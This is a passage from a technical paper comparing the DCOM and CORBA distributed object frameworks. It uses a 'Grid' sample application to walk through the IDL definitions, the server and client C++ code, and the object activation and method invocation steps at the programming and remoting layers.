> CORBA is a distributed object framework proposed by a consortium of 700+
> companies called the Object Management Group \(OMG\) \[CORBA 95\]. The core
> of the CORBA architecture is the **Object Request Broker \(ORB\)** that acts
> as the object bus over which objects transparently interact with other
> objects located locally or remotely \[Vinoski 97\]. A CORBA object is
> represented to the outside world by an interface with a set of methods. A
> particular instance of an object is identified by an object reference. The
> client of a CORBA object acquires its object reference and uses it as a
> handle to make method calls, as if the object is located in the client's
> address space. The ORB is responsible for all the mechanisms required to
> find the object's implementation, prepare it to receive the request,
> communicate the request to it, and carry the reply \(if any\) back to the
> client. The object implementation interacts with the ORB through either an
> _Object Adapter \(OA\)_ or through the ORB interface.
> The following terminology will be used to refer to the entities in both
> frameworks.
> **Interface**
>      A named collection of abstract _operations_ \(or _methods_\) that
> represent one functionality.
> **Object class \(or class\)**
>      A named concrete implementation of one or more interfaces.
> **Object \(or object instance\)**
>      An instantiation of some object class.
> **Object server**
>      A process responsible for creating and hosting object instances.
> **Client**
>      A process that invokes a method of an object.
> Both DCOM and CORBA frameworks provide client-server type of communications.
> To request a service, a client invokes a method implemented by a remote
> object, which acts as the server in the client-server model. The service
> provided by the server is encapsulated as an object and the interface of an
> object is described in an **Interface Definition Language \(IDL\)**. The
> interfaces defined in an IDL file serve as a _contract_ between a server and
> its clients. Clients interact with a server by invoking methods described in
> the IDL. The actual object implementation is hidden from the client. Some
> object-oriented programming features are present at the IDL level, such as
> data encapsulation, polymorphism and single inheritance. CORBA also supports
> multiple inheritance at the IDL level, but DCOM does not. Instead, the
> notion of an object having multiple interfaces is used to achieve a similar
> purpose in DCOM. CORBA IDL can also specify exceptions.
> In both DCOM and CORBA, the interactions between a client process and an
> object server are implemented as object-oriented RPC-style communications
> \[Birrell 84\]. Figure 1 shows a typical RPC structure. To invoke a remote
> function, the client makes a call to the _client stub_. The stub packs the
> call parameters into a request message, and invokes a wire protocol to ship
> the message to the server. At the server side, the wire protocol delivers
> the message to the _server stub_ , which then unpacks the request message
> and calls the actual function on the object. In DCOM, the client stub is
> referred to as the **proxy** and the server stub is referred to as the
> **stub**. In contrast, the client stub in CORBA is called the **stub** and
> the server stub is called the **skeleton**. Sometimes, the term "proxy" is
> also used to refer to a running instance of the stub in CORBA.
> <img src='img/rpc.gif' />  
> **Figure 1:** RPC structure  
>
> The overall architectures of DCOM and CORBA are illustrated in Figure 2 and
> Figure 3, respectively. In the following sections, we describe a single
> example implemented in both DCOM and CORBA, and provide a step-by-step
> description of object activations and method invocations at the three
> different layers shown in the figures. The top layer is the **basic
> programming architecture** , which is visible to the developers of the
> client and object server programs. The middle layer is the **remoting
> architecture** , which transparently makes the interface pointers or object
> references meaningful across different processes. The bottom layer is the
> **wire protocol architecture** , which further extends the remoting
> architecture to work across different machines.
> <img src='img/dcom.70.gif' />  
> **Figure 2:** DCOM overall architecture.  
>
> <img src='img/corba.70.gif' />  
> **Figure 3:** CORBA overall architecture.  
>
> Throughout this paper, the description about DCOM is based on the COM
> specification \[COM 95\] and the DCOM specification \[Brown 96\]. The CORBA
> description is based on the CORBA specification \[CORBA 95\] whenever
> possible. For information not specified by CORBA, we use Iona Orbix \[Iona
> 95\] implementation to complete the description.
> ## 2\. Sample Application
> We use an example called `Grid` throughout this paper. The `Grid` server
> object maintains a two-dimensional grid of integers and supports two groups
> of methods. The first group consists of two methods: `get()` and `set()`,
> which are invoked to get and set the value at a particular grid point,
> respectively. The second group has only one method: `reset()`, which sets
> the value at every grid point to the supplied value. As a simple
> demonstration, the `Grid` client first invokes the `get()` method to obtain
> the value at coordinate \(0,0\), increases the value by one, and then calls
> `reset()` to set the entire grid to the new value.
> We design the DCOM and CORBA implementations in different ways to
> demonstrate that DCOM supports **objects with multiple interfaces** , while
> CORBA allows **an interface to inherit from multiple interfaces**. Note that
> DCOM and CORBA are basically oblivious to the inheritance relationship
> between the C++ implementation classes.
> In CORBA, we define three interfaces: \(1\) interface `grid1` supports
> `get()` and `set()`; \(2\) interface `grid2` supports `reset()`; \(3\)
> interface `grid` multiply inherits from `grid1` and `grid2`. In contrast, we
> define two interfaces in DCOM, `IGrid1` and `IGrid2`, for the two groups of
> methods. The implementation of the `Grid` object uses multiple inheritance
> from `IGrid1` and `IGrid2` to implement an object with the two interfaces.
> Note that we could have merged all three methods into one interface by using
> interface single inheritance, which then looks very similar to its CORBA
> counterpart. But DCOM's support for objects with multiple interfaces allows
> each distinct feature of an object to have a separate interface.
> For each implementation, we list the source code from five files. To
> simplify presentation, only essential code is shown. The first file, shown
> in Table 1, is the IDL file that defines the interfaces and its methods. The
> DCOM IDL file also associates multiple interfaces with an object class, as
> shown in the `coclass` block. Running the IDL file through an IDL compiler
> in both DCOM and CORBA generates the proxy/stub/skeleton code and the
> interface header file \(`grid.h` or `grid.hh`\) that are used by both the
> server and the client. Note that, in DCOM, each interface is assigned a
> **globally unique identifier \(GUID\)** called the **interface ID**
> \(**`IID`**\). Similarly, each object class is assigned a unique **class
> ID** \(**`CLSID`**\). Also, every COM interface must inherit from the
> **`IUnknown`** interface that consists of a **`QueryInterface()`** method
> for navigating between different interfaces of the same object, and two
> other methods **`AddRef()`** and **`Release()`** for reference counting.
> Reference counting provides a lifetime control mechanism that allows a COM
> object to keep track of its clients and can delete itself when it is no
> longer needed.
> The second file shown in Table 2 is the implementation header file that
> shows how the server implementation class is derived from the interfaces.
> The DCOM file includes the definition of a class factory `CClassFactory`,
> which is commonly used but not required. As mentioned previously, the
> implementation class `CGrid` multiply inherits from the two pure abstract
> base classes `IGrid1` and `IGrid2` which are defined in the IDL-generated
> interface header file `grid.h` \(not shown\). In the `CGrid` class,
> `AddRef()` increments the reference count and `Release()` decrements it.
> When the reference count drops to zero, the server object deletes itself.
> Again, this is commonly used but not required. Ultimately, it is the server
> object itself which controls its own life time.
> In the CORBA implementation, the IDL compiler generates from the interface
> definition the interface class `grid` in the header file `grid.hh`\(not
> shown\). The application developer writes the implementation class `grid_i`.
> There are two ways of associating the implementation class with the
> interface class - the inheritance approach and the delegation approach. In
> this example, we chose the inheritance approach. In this approach, the IDL
> compiler in Orbix also generates a class called `gridBOAImpl` that is
> responsible for instantiating the skeleton class. Class `gridBOAImpl`
> inherits from the interface class `grid`, which inherits from class
> `CORBA::Object`. The implementation class `grid_i` inherits from class
> `gridBOAImpl` to complete the mapping between the interface class and the
> implementation class. Note that the type `gridBOAImpl` is Orbix specific,
> since current CORBA do not specify what the skeleton class looks like and
> what the name of the base class is. This makes the server code not portable
> to other ORB products. To resolve this issue, _Portable Object Adaptor
> \(POA\)_ was recently introduced \[POA 97\]. POA corrects this problem and
> specifies the name for the base class. In this example, when POA becomes
> available, the class `grid_i` would inherit from a base class called
> `POA_grid`. More descriptions of POA are given in Section 4.
> The third file shown in Table 3 implements the methods of the server class.
> The DCOM file also implements some methods of the class factory. The fourth
> file shown in Table 4 is the main program for the server. The DCOM program
> creates an event and waits on that event which is signaled when all active
> server objects are deleted and so the server can exit. The actual client
> requests are handled concurrently by different threads from a thread pool.
> \(Another DCOM threading model handles requests serially using one thread.\)
> Similarly, the CORBA server program instantiates an instance of class
> `grid_i` and then blocks at `impl_is_ready()` to receive the incoming client
> requests. If the server does not receive any requests during a default
> timeout period \(which can be set by the programmer\), it gracefully closes
> down. The client requests are handled either serially or by different
> threads, depending on the activation policy used for the object server. The
> last file shown in Table 5 is the client code. The readers may observe that
> DCOM client code tends to be longer than CORBA client code due to the
> additional `IUnknown` method calls. This may not be true for DCOM clients
> written in Java or Visual Basic, where the virtual machine layer takes care
> of the `IUnknown` method calls and hides them from the programmers
> \[Chappell 97\]. Even in a C++ client, smart interface pointers can be used
> to hide the reference counting \[Rogerson 96\].
> After compiling and before executing the programs, both DCOM and CORBA
> require a registration process for the server. In CORBA, the association
> between the interface name and the path name of the server executable is
> registered with the **implementation repository**. In DCOM, the association
> between the CLSID and the path name of the server executable is registered
> with the **registry**. In addition, since a DCOM interface proxy/stub is
> itself a COM object, its associated server \(in the dynamic link library
> \(DLL\) form\) also needs to be similarly registered.
> Due to space limitation, we do not cover _dynamic invocation_ , which does
> not require static type information at compile time. In DCOM, type
> information for interface methods is stored in a **type library** generated
> by the IDL compiler and assigned a GUID. It can be used through the
> `IDispatch` interface to perform dynamic invocation \[Rogerson 96\]. It can
> also be used for _type library-driven marshaling_ \[Grimes 97\]: instead of
> using a separate proxy/stub DLL that contains information specific to an
> interface, a generic marshaler can perform marshaling by reading type
> library information. In CORBA, the IDL compiler generates the type
> information for each method in an interface and stores it in the **Interface
> Repository** \(IR\). A client can query the interface repository to get run-
> time information about a particular interface and then use that information
> to create and invoke a method on the object dynamically through the
> **dynamic invocation interface** \(DII\). Similarly, on the server side, the
> **dynamic skeleton interface** \(DSI\) allows a client to invoke an
> operation on an object that has no compile time knowledge of the type of
> object it is implementing \[CORBA 95\].
> DCOM IDL| CORBA IDL  
> ---|---
[code]

>     // uuid and definition of IGrid1
>         [  object,
>            uuid(3CFDB283-CCC5-11D0-BA0B-00A0C90DF8BC),
>            helpstring("IGrid1 Interface"),
>            pointer_default(unique)
>         ]
>         **interface IGrid1 : IUnknown**      {
>            import "unknwn.idl";
>            **HRESULT get**([in] SHORT n, [in] SHORT m, [out] LONG *value);
>            **HRESULT set**([in] SHORT n, [in] SHORT m, [in] LONG value);
>         };
>  
>     // uuid and definition of IGrid2
>         [   object,
>             uuid(3CFDB284-CCC5-11D0-BA0B-00A0C90DF8BC),
>             helpstring("IGrid2 Interface"),
>             pointer_default(unique)
>         ]
>         **interface IGrid2 : IUnknown**      {
>             import "unknwn.idl";
>             **HRESULT reset**([in] LONG value);
>         };
>  
>     // uuid and definition of type library
>     [   uuid(3CFDB281-CCC5-11D0-BA0B-00A0C90DF8BC),
>         version(1.0),
>         helpstring("grid 1.0 Type Library)
>     ]
>     library GRIDLib
>     {
>         importlib("stdole32.tlb");
>         // uuid and definition of class
>         [   uuid(3CFDB287-CCC5-11D0-BA0B-00A0C90DF8BC),
>             helpstring("Grid Class")
>         ]
>         // multiple interfaces
>         **coclass CGrid**
>         {   [default] **interface IGrid1** ;
>             **interface IGrid2** ;
>         };
>     };
>  
[/code]  
> | 
[code]

>  
>  
>  
>  
>  
>  
>     **interface grid1**
>     {
>             long **get**(in short n, in short m);
>             void **set**(in short n, in short m, in long value);
>     };
>  
>  
>  
>  
>  
>  
>  
>     **interface grid2**
>     {
>             void **reset**(in long value);
>     };
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>     // multiple inheritance of interfaces
>     **interface grid: grid1, grid2**
>     {
>     };
>  
>  
[/code]  
>  
> **Table 1:** The IDL files.  
>  
>
> DCOM server class definition \(`cgrid.h`\)| CORBA server class definition
> \(`grid_i.h`\)  
> ---|---
[code]

>     #include "**grid.h** " // IDL-generated interface header file
>  
>     **class CClassFactory : public IClassFactory** {
>      public:
>       // IUnknown
>       STDMETHODIMP QueryInterface(REFIID riid, void** ppv);
>       STDMETHODIMP_(ULONG) AddRef(void)  { return 1; };
>       STDMETHODIMP_(ULONG) Release(void) { return 1; }
>  
>       // IClassFactory
>       STDMETHODIMP **CreateInstance**(LPUNKNOWN punkOuter,
>                                REFIID iid, void **ppv);
>       STDMETHODIMP LockServer(BOOL fLock)
>                    { return E_FAIL; };
>     };
>  
>     **class CGrid : public IGrid1, public IGrid2** {
>      public:
>       // IUnknown
>       STDMETHODIMP **QueryInterface**(REFIID riid, void** ppv);
>       STDMETHODIMP_(ULONG) **AddRef**(void)  
>             { return **InterlockedIncrement( &m_cRef)**; }
>       STDMETHODIMP_(ULONG) **Release**(void)
>             { if (**InterlockedDecrement( &m_cRef)** == 0)
>                 { **delete this** ; return 0; }
>               return 1; }
>       // IGrid1
>       STDMETHODIMP **get**(IN SHORT n, IN SHORT m,
>                        OUT LONG *value);
>       STDMETHODIMP **set**(IN SHORT n, IN SHORT m,
>                        IN LONG value);
>       // IGrid2
>       STDMETHODIMP **reset**(IN LONG value);
>  
>       CGrid(SHORT h, SHORT w);
>       ~CGrid();
>      private:
>       LONG  m_cRef, **m_a;
>       SHORT m_height, m_width;
>     };
>  
[/code]  
> | 
[code]

>     #include "**grid.hh** " // IDL-generated interface header file
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>     **class grid_i : public gridBOAImpl** {
>     public:
>  
>  
>  
>  
>  
>  
>  
>  
>  
>       virtual CORBA::Long **get**(CORBA::Short n, CORBA::Short m,
>                  CORBA::Environment &env);
>       virtual void **set**(CORBA::Short n, CORBA::Short m,
>                  CORBA::Long value, CORBA::Environment &env);
>  
>       virtual void **reset**(CORBA::Long value,
>                          CORBA::Environment &env);
>       grid_i(CORBA::Short h, CORBA::Short w);
>       virtual ~grid_i();
>     private:
>       CORBA::Long **m_a;  
>       CORBA::Short m_height, m_width;  
>     };
>  
[/code]  
>  
> **Table 2:** The server implementation header files.  
>
> DCOM server implementation| CORBA server implementation  
> ---|---
[code]

>     #include "cgrid.h"
>  
>     STDMETHODIMP CClassFactory::QueryInterface(REFIID riid, void** ppv) {
>        if (riid == IID_IClassFactory || riid == IID_IUnknown) {
>          *ppv = (IClassFactory *) this;
>          AddRef(); return S_OK;
>        }
>        *ppv = NULL;
>        return E_NOINTERFACE;
>     }
>  
>     STDMETHODIMP
>     CClassFactory::**CreateInstance**(LPUNKNOWN p, REFIID riid, void** ppv)
> {
>        IGrid1* punk = (IGrid1*) new CGrid(100, 100);
>        **HRESULT** hr = punk->QueryInterface(riid, ppv);
>        punk->Release();
>        return hr;
>     }
>  
>     STDMETHODIMP CGrid::**QueryInterface**(REFIID riid, void** ppv) {
>        if (riid == IID_IUnknown || riid == IID_IGrid1)
>          *ppv = **(IGrid1*) this** ;
>        else if (riid == IID_IGrid2) *ppv = **(IGrid2*) this** ;
>        else { *ppv = NULL; return E_NOINTERFACE; }  
>        **AddRef()** ; return S_OK;
>     }  
>  
>     STDMETHODIMP CGrid::**get**(IN SHORT n, IN SHORT m, OUT LONG* value) {
>         *value = m_a[n][m];
>         return S_OK;
>     }
>  
>     STDMETHODIMP CGrid::**set**(IN SHORT n, IN SHORT m, IN LONG value) {
>         m_a[n][m] = value;
>         return S_OK;
>     }
>  
>     STDMETHODIMP CGrid::**reset**(IN LONG value) {
>         SHORT n, m;
>         for (n=0; n < m_height; n++)
>           for (m=0; m < m_width; m++)
>             m_a[n][m] = value;
>         return S_OK;
>     }
>  
>     **CGrid::CGrid**(SHORT h, SHORT w) {
>       m_height = h;
>       m_width= w;
>       m_a = new LONG*[m_height];
>       for (int i=0; i < m_height; i++)
>         m_a[i] = new LONG[m_width];
>       m_cRef = 1;
>     }
>  
>     extern HANDLE hevtDone;
>  
>     **CGrid::~CGrid** () {
>       for (int i=0; i < m_height; i++)
>         delete[] m_a[i];
>       delete[] m_a;
>       **SetEvent(hevtDone)** ;
>     }
>  
[/code]  
> | 
[code]

>     #include "grid_i.h"
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>  
>     CORBA::Long **grid_i::get**(CORBA::Short n, CORBA::Short m,
>                              CORBA::Environment &) {  
>         return m_a[n][m];
>     }
>  
>     void **grid_i::set**(CORBA::Short n, CORBA::Short m,
>         CORBA::Long value, CORBA::Environment &) {
>         m_a[n][m] = value;
>     }
>  
>     void **grid_i::reset**(CORBA::Long value, CORBA::Environment &) {
>         short n, m;
>         for (n = 0; n < m_height; n++)
>           for (m = 0; m < m_width; m++)
>             m_a[n][m]=value;
>         return;
>     }
>  
>     **grid_i::grid_i**(CORBA::Short h, CORBA::Short w) {
>         m_height=h;   // set up height
>         m_width=w;    // set up width
>         m_a = new CORBA::Long* [h];
>         for (int i = 0; i < h; i++ )
>           m_a[i] = new CORBA::Long[w];
>     }
>  
>  
>  
>  
>     **grid_i::~grid_i** () {
>         for (int i = 0; i < m_height; i++)
>           delete[] m_a[i];
>         delete[] m_a;
>     }
>  
>  
[/code]  
>  
> **Table 3:** The server implementation files.  
>
> DCOM server main program| CORBA server main program  
> ---|---
[code]

>     HANDLE hevtDone;
>  
>     void **main**()
>     {
>         // Event used to signal this main thread
>         **hevtDone = CreateEvent**(NULL, FALSE, FALSE, NULL);
>         hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
>         **CClassFactory* pcf = new CClassFactory** ;
>         hr = **CoRegisterClassObject**(CLSID_CGrid, pcf,
>               CLSCTX_SERVER,  REGCLS_MULTIPLEUSE , &dwRegister);
>         // Wait until the event is set by CGrid::~CGrid()
>         **WaitForSingleObject(hevtDone, INFINITE)** ;
>         CloseHandle(hevtDone);
>         CoUninitialize();
>     }
>  
[/code]  
> | 
[code]

>  
>  
>     int **main**()
>     {
>       // create a grid object using the implementation class grid_i
>  
>  
>       **grid_i ourGrid(100,100)** ;
>  
>       try {
>         // tell Orbix that we have completed the server's initialization:
>         **CORBA::Orbix.impl_is_ready( "grid")**;
>       } catch (...) {
>         cout << "Unexpected exception" << endl;
>         exit(1);
>       }
>     }
>  
[/code]  
>  
> **Table 4:** The server main programs.  
>
> DCOM Client code| CORBA Client code  
> ---|---
[code]

>     #include "grid.h"
>  
>     void main(int argc, char**argv)
>     {
>         **IGrid1  *pIGrid1** ;
>         IGrid2      *pIGrid2;
>         LONG        value;
>  
>         CoInitialize(NULL);           // initialize COM
>         **CoCreateInstance**(**CLSID_CGrid** , NULL, CLSCTX_SERVER,
>                          **IID_IGrid1** , (void**) &**pIGrid1**);
>         **pIGrid1- >get**(0, 0, &value);
>         **pIGrid1- >QueryInterface**(**IID_IGrid2** , (void**)
> &**pIGrid2**);
>         **pIGrid1- >Release**();
>         **pIGrid2- >reset**(value+1);
>         pIGrid2->Release();
>         CoUninitialize();
>     }
>  
[/code]  
> | 
[code]

>     #include "grid.hh"
>  
>     void main (int argc, char **argv)
>     {
>       **grid_var gridVar** ;  
>  
>       CORBA::Long value;
>  
>       // bind to "grid" object; Orbix-specific
>       **gridVar = grid::_bind( ":grid")**;
>  
>       value = **gridVar- >get**(0, 0);
>  
>  
>       **gridVar- >reset**(value+1);
>     }
>  
[/code]  
>  
> **Table 5:** The client main programs.  
>
> ## 3\. Top Layer: Basic Programming Architecture
> At the top layer, we show the programmers' view of DCOM and CORBA. More
> specifically, we describe how a client requests an object and invokes its
> methods, and how a server creates an object instance and makes it available
> to the client. Exactly how the client is connected to the server is totally
> hidden from the programmers. The client and the server programs interact as
> if they reside in the same address space on the same machine. The main
> differences between DCOM and CORBA at this layer include _how a client
> specifies an interface_ and _COM 's class factories and the `IUnknown`
> methods_. A step-by-step description is given in Table 6 and illustrated in
> Figure 4 and Figure 5 for DCOM and CORBA, respectively. **\(Numbers in
> parenthesis are for object activation steps; those in square brackets are
> for method invocation steps.\)**
> Although Table 6 gives a common DCOM invocation sequence, we would like to
> point out two things. First, the use of class factories in COM is optional.
> A server object can actually call `CoRegisterClassObject()` to register any
> interface pointer, and clients can invoke another COM API named
> `CoGetClassObject()` to retrieve that pointer. \(A _class object_ is a named
> singleton object that acts as the metaclass for a COM object class.\)
> Second, `CoCreateInstance()` does not necessarily create a fresh instance.
> Inside `IClassFactory::CreateInstance()`, a server can choose to always
> return the same interface pointer so that different clients can connect to
> the same object instance with a particular state. Another way of binding to
> a named server object instance is to use _monikers_ \[Box2 97\] and/or the
> _Running Object Table \(ROT\)_ \[COM 95\].
> In CORBA, an object can be activated by invoking any method on an existing
> object reference. Some vendors provide special method calls, e.g. `_bind()`
> operation in Orbix, to activate a server object and obtain its object
> reference. The client may attach to an existing instance instead of a new
> instance, if there is any existing instance matching the requested type.
> Note that a client can store an object reference by stringifying it using
> `object_to_string()` and can later use it again by converting it back by
> `string_to_object()`.
> Another difference to note between DCOM and CORBA at the programming layer
> is the way they perform exception handling. CORBA provides support for
> standard C++ exceptions and some CORBA specific exceptions. In addition,
> user defined exceptions are also allowed and are declared in the IDL. The
> IDL compiler maps a user defined exception to a C++ class.
> In contrast, DCOM requires that all methods return a 32-bit error code
> called an _HRESULT_ \(see Table 3\) at this layer. At the language/tool
> level, a set of conventions and system provided services \(called the
> `IErrorInfo` object\) allows failure HRESULTs to be converted into
> exceptions in a way natural to the language. For example, in Microsoft
> Visual C++ 5.0, client programmers can use standard C++ try/catch blocks to
> catch errors from COM method invocations; the compiler generates the correct
> code to map the failure HRESULT into a correct usage of `IErrorInfo`,
> effectively translating the failure return code into an exception.
> Similarly, tools can allow programmers to "throw exceptions" instead of
> returning failure codes. The DCOM wire protocol includes a mechanism known
> as _body extensions_ \[Brown 96\] that allow rich exception information
> \(such as a string explaining the error\) to be carried.
> DCOM| CORBA  
> ---|---  
> **Object activation**
[/code]

[code]  1. Client calls COM library's `CoCreateInstance()` with `CLSID_Grid`
and `IID_IGrid1`.  
>   2. COM infrastructure starts an object server for `CLSID_Grid`.
>   3. As shown in the server main program, server creates class factories for
> all supported CLSIDs, and calls `CoRegisterClassObject()` to register each
> factory. Server blocks on waiting for, for example, an event to be set to
> signal that the server is no longer needed. Incoming client requests will be
> served by other threads.
>   4. COM obtains the `IClassFactory` pointer to the `CLSID_Grid` factory,
> and invokes `CreateInstance()` on it.
>   5. In `CreateInstance()`, server creates an object instance and makes a
> `QueryInterface()` call to obtain an interface pointer to the `IID_IGrid1`
> interface.
>   6. COM returns the interface pointer as `pIGrid1` to the client.
>

[code]

>  
>  
[/code]

> | 
[/code]

[code]  1. Client calls client stub's `grid::_bind()`, which is a static
function in the stub.

>   2. ORB starts a server that contains an object supporting the interface
> `grid`.
>   3. As shown in the server main program, Server instantiates all supported
> objects. \(In each constructor, calls are made to create and register an
> object reference.\) Server calls `CORBA::BOA::impl_is_ready()` to tell ORB
> that it is ready to accept client requests.
>   4. ORB returns the object reference for `grid` as `gridVar` to the client.
>

[code]

>  
>  
[/code]  
> **Method invocation**
[/code]

[code]  1. Client calls `pIGrid1->get()` which eventually invokes
`CGrid::get()` in the server.  
>   2. To obtain a pointer to another interface `IID_IGrid2` of the same
> object instance, client calls `pIGrid1->QueryInterface()` which invokes
> `CGrid::QueryInterface`.
>   3. When finishing using `pIGrid1`, client calls `pIGrid1->Release()`
> \(which may not invoke `CGrid::Release()` \[footnote 1\]\).
>   4. Client calls `pIGrid2->reset()` which invokes `CGrid::reset`.
>   5. Client calls `pIGrid2->Release()` which invokes `CGrid::Release()`.
>

[code]

>  
>  
[/code]

> | 
[/code]

[code]  1. Client calls `gridVar->get()` which eventually invokes
`grid_i::get()` in the server.

>   2. Client calls `gridVar->reset()` which invokes `grid_i::reset()`.
>

[code]

>  
>  
[/code]  
>  
> **Table 6:** The top layer description.  
> **Footnote 1** : For performance reason, `Release()` calls for individual
> interfaces may not be actually forwarded to the server side until all
> interface pointers that a client holds to the same object are all released.
> This allows caching interface pointers that may be requested again by the
> client, and allows lower layers to bundle multiple `Release()` calls in a
> single remote call.
> <img src='img/dcom.top.80.gif' />  
> **Figure 4:** DCOM steps at the top layer.  
>
> <img src='img/corba.top.80.gif' />  
> **Figure 5:** CORBA steps at the top layer.  
>
> ## 4\. Middle Layer: Remoting Architecture
> The middle layer consists of the infrastructure necessary for providing the
> client and the server with the illusion that they are in the same address
> space. The description in Table 7 shows how the infrastructure locates and
> starts the requested server, and the entities involved when a method
> invocation takes place across different processes. The corresponding
> illustrations for DCOM and CORBA are shown in Figure 6 and Figure 7,
> respectively. The main differences between DCOM and CORBA at this layer
> include _how server objects are registered_ and _when proxy/stub/skeleton
> instances are created_.
> To send data across different address spaces requires a process called
> marshaling and unmarshaling. _Marshaling_ packs a method call's parameters
> \(at a client's space\) or return values \(at a server's space\) into a
> standard format for transmission. _Unmarshaling_ , the reverse operation,
> unpacks the standard format to an appropriate data presentation in the
> address space of a receiving process. Note that the marshaling process
> described in this section is called _standard marshaling_ in DCOM
> terminology. DCOM also provides a _custom marshaling_ mechanism to bypass
> the standard marshaling procedure \[Brockschmidt 93\] \[COM 95\] \[Box1
> 97\]. By implementing an `IMarshal` interface, a server object declares that
> it wants to control how and what data are marshaled and unmarshaled, and how
> the client should communicate with the server. In effect, custom marshaling
> provides an **extensible architecture** for plugging in application-specific
> communication infrastructure. It can be useful for client-side data caching,
> for fault tolerance, etc.
> We describe here some of the additional CORBA terms used in Table 7. As
> stated in the Introduction, the ORB acts as the object bus. The Object
> Adaptor \(OA\) sits on top of the ORB, and is responsible for connecting the
> object implementation to the ORB. Object Adaptors provide services like
> generation and interpretation of object references, method invocation,
> object activation and deactivation, mapping object references to
> implementations. Different object implementation styles have different
> requirements and need to be supported by different object adapters, e.g.
> object-oriented database adapter for objects in a database. The Basic Object
> Adapter \(BOA\) defines an object adapter which can be used for most
> conventional object implementations. CORBA specifications do not mandate how
> the ORB/BOA functionality is to be implemented. Orbix built the ORB/BOA
> functionality into two libraries and a daemon process \(`orbixd`\). The
> daemon is responsible for location and activation of objects. The two
> libraries, a server-side library and a client-side library, are each linked
> at compile time with server and client implementations, respectively, to
> provide the rest of the functionality \[Orbix 96\].
> It is important to note that the recently introduced POA will be a
> replacement for BOA. The POA specifications provide portability for CORBA
> server code and also introduce some new features in the Object Adapter. The
> POA specifications have not yet been incorporated by any ORB vendors into
> the products. Thus, our descriptions are based on the current products which
> implements the BOA specifications. However, wherever we discuss BOA specific
> details we will point out the approach taken by POA in that context.
> DCOM| CORBA  
> ---|---  
> **Object activation**
[/code]

[code]  1. Upon receiving `CoCreateInstance()` call, COM library delegates the
task to Service Control Manager \(SCM\).  
>   2. SCM checks if a class factory for `CLSID_Grid` has been registered; if
> not, SCM consults the registry to map `CLSID_Grid` to its server path name,
> and starts the server.
>   3. Server registers all supported class factories in a class object table.
>   4. SCM retrieves from the table the `IClassFactory` pointer to the
> `CLSID_Grid` factory, and invokes `CreateInstance()` on it.
>   5. When `CreateInstance()` returns the `IID_IGrid1` pointer, COM
> \(conceptually\) creates an object stub for the newly created object
> instance.
>   6. The object stub marshals the interface pointer, consults the registry
> to create an interface stub for `IID_IGrid1`, and associates it with the
> server object's actual `IID_IGrid1` interface.
>   7. When SCM ferries the marshaled pointer back to the client side, COM
> creates an object proxy for the object instance.
>   8. The object proxy unmarshals the pointer, consults the registry to
> create an interface proxy for `IID_IGrid1`, and associates it with the RPC
> channel object connected to the stub.
>   9. COM library returns to the client an `IID_IGrid1` pointer to the
> interface proxy as `pIGrid1`.
>

[code]

>  
>  
[/code]

> | 
[/code]

[code]  1. Upon receiving `grid::_bind()` call, client stub delegates the task
to ORB \[footnote 2\].

>   2. ORB consults the Implementation Repository to map `grid` to its server
> path name, and activates the server \(in Orbix, the `orbixd` daemon forks
> the server process\).
>   3. Server instantiates all supported objects, including a `grid` object of
> class `grid_i`. Class `grid_i` indirectly inherits from `CORBA::Object`
> whose constructor calls `BOA::create()` with a unique reference ID to get
> back an object reference. It then registers the object reference with ORB by
> calling `obj_is_ready()` \[Orfali 97\].
>   4. The constructor for class `grid_i` also creates an instance of the
> skeleton class. \[footnote 3\].
>   5. When the ORB ferries the object reference back to the client side, it
> creates an instance of the proxy class and registers it in the proxy object
> table with its corresponding object reference.
>   6. Client stub returns to the client an object reference as `gridVar`.
>

[code]

>  
>  
[/code]  
> **Method Invocation:**
[/code]

[code]  1. Upon receiving `pIGrid1->get()` call, interface proxy marshals
necessary parameters, and invokes the `SendReceive()` method on the RPC
channel object to send the request.  
>   2. The RPC channel sends the request to the server side, finds the target
> `IID_IGrid1` interface stub, and calls the `Invoke()` method on it.
>   3. Interface stub unmarshals the parameters, invokes the method
> \(identified by a method number\) on the `grid` object, marshals the return
> values, and returns from the `Invoke` method.
>   4. When the RPC channel ferries the marshaled return values back to the
> client side, the interface proxy returns from the `SendReceive()` call,
> unmarshals the return values, and returns them to the client to finish the
> `pIGrid1->set()` call.
>   5. Upon receiving `pIGrid1->QueryInterface()` call, interface proxy
> delegates the request to the object proxy's `IUnknown` interface.
>   6. The object proxy remotely invokes the actual `QueryInterface()` call on
> the `grid` object through the same process explained above.
>   7. Upon returning the new `IID_IGrid2` interface pointer, COM creates the
> interface stub and proxy for it \(which share the same object stub and proxy
> with the `IID_IGrid1` interface stub and proxy, respectively\).
>   8. The `IID_IGrid1` interface proxy returns to the client an `IID_IGrid2`
> pointer to the new interface proxy.
>   9. Upon receiving `pIGrid1->Release()` call, `IID_IGrid1` interface proxy
> delegates the request to the object proxy.
>   10. Upon receiving `pIGrid2->reset()` call, `IID_IGrid2` interface proxy
> makes the remote call as usual.
>   11. Upon receiving `pIGrid2->Release()` call, `IID_IGrid2` interface proxy
> delegates the request to the object proxy which then makes a remote call to
> release `pIGrid2` \(and possibly `pIGrid1`\).
>

[code]

>  
>  
[/code]

> | 
[/code]

[code]  1. Upon receiving `gridVar->get()` call, the proxy creates a `Request`
pseudo object, marshals the necessary parameters into it, and calls
`Request::invoke()`, which calls `CORBA::Request::send()` to put the message
in the channel, and waits on `CORBA::Request::get_response()` for reply.

>   2. When the message arrives at the server, the BOA finds the target
> skeleton, rebuilds the `Request` object, and forwards it to the skeleton.
>   3. The skeleton unmarshals the parameters from the `Request` object,
> invokes the method \(identified by a method name\) on the `grid` object,
> marshals the return values, and returns from the skeleton method. The ORB
> builds a reply message and places it in the transmit buffer.
>   4. When the reply arrives at the client side,
> `CORBA::Request::get_response()` call returns after reading the reply
> message from the receive buffer. The proxy then unmarshals the return
> values, checks for exceptions, and returns them to the client to finish the
> `gridVar->get()` call.
>   5. Upon receiving `gridVar->reset()` call, the proxy follows a similar
> procedure.
>

[code]

>  
>  
[/code]  
>  
> **Table 7:** The middle layer description.  
> **Footnote 2** : The stub actually checks its _proxy object table_ first to
> see if it already has an object reference for `grid`. The proxy object table
> maintains a run-time table of all valid object references on the client
> side.
